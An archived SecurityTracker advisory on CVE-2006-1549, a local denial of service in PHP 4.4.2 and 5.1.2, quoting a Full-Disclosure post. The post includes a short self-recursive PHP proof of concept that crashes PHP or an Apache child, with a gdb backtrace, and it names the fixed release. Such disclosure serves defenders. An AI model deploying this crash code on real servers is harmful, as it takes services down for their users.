SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   PHP Vendors:   PHP Group
PHP Self-Referencing Function Memory Allocation Error May Let Local Users Deny Service
SecurityTracker Alert ID:  1015880
SecurityTracker URL:  http://securitytracker.com/id/1015880
CVE Reference:   CVE-2006-1549   (Links to External Site)
Date:  Apr 9 2006
Impact:   Denial of service via local system
Fix Available:  Yes  Vendor Confirmed:  Yes  
Version(s): 4.4.2, 5.1.2
Description:   A vulnerability was reported in PHP. A local user can cause denial of service conditions.

A local user with the ability to load arbitrary PHP code can create specially crafted PHP code that, when loaded by a remote user via Apache, will cause the Apache child process to crash. When called locally, the PHP process will crash.

PHP code that includes a self-referencing function can trigger the flaw.

Some demonstration exploit code is provided:

<?
function cx(){
cx();
}
cx();
?>

Maksymilian Arciemowicz (cXIb8O3) of SecurityReason.com reported this vulnerability.

The original advisory is available at:

http://securityreason.com/achievement_securityalert/35

Impact:   A local user may be able to cause the PHP process to crash.
Solution:   The vendor has issued a fixed version (5.1.3RC3), available at:

http://www.php.net/downloads.php

Vendor URL:  www.php.net/ (Links to External Site)
Cause:   State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [Full-disclosure] function *() php/apache Crash PHP 4.4.2 and 5.1.2

Source: http://securityreason.com/achievement_securityalert/35

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[function *() php/apache Crash PHP 4.4.2 and 5.1.2]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 21.3.2006
- -Public: 8.4.2006
from SECURITYREASON.COM
CVE-2006-1549

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed 
from C, Java and Perl with a couple of unique PHP-specific features thrown 
in. The goal of the language is to allow web developers to write dynamically 
generated pages quickly.

http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the 
PHP Conference Material is freely available. 

- --- 1. function *() Crash ---
PHP4/5 is vulnerability to a local denial-of-service. General problem is in 
allocated data to memory. 

for example attack:

cxib# php -r 'function cx(){ cx(); } cx();'
Segmentation fault (core dumped)
cxib# 

Segfault.. let`s see what we have in gdb

- ---
cxib# cat /www/functionsegfault.php
<?
function cx(){
        cx();
} 
cx();
?>
cxib# gdb -q php
(gdb) r '/www/functionsegfault.php'
Starting program: /usr/local/bin/php '/www/functionsegfault.php'

Program received signal SIGSEGV, Segmentation fault.
0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260, 
    __zend_filename=0x811d8c0 
"/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c", 
__zend_lineno=1568)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111
111     /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c: No such 
file or directory.
        in /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c
(gdb) bt
#0  0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260, 
    __zend_filename=0x811d8c0 
"/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c", 
__zend_lineno=1568)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111
#1  0x080f042a in execute (op_array=0x81b3880)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1568
#2  0x080f019a in execute (op_array=0x81b3880)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#3  0x080f019a in execute (op_array=0x81b3880)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#4  0x080f019a in execute (op_array=0x81b3880)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#5  0x080f019a in execute (op_array=0x81b3880)
...
- ---

or in apache error_log

[Mon Mar 20 12:12:54 2006] [notice] child pid 744 exit signal Illegal 
instruction (4)

- --- 2. Greets ---

For: sp3x
and
p_e_a, pi3, eax, Infospec ;]

- --- 3. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (FreeBSD)

iD8DBQFEOAT43Ke13X/fTO4RAiFnAKC+vzJm1w24b4VN9CMdhE6e6a2L4QCePbp7
lNzhZke21IHXM0TvvjntXyY=
=Y7Ft
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC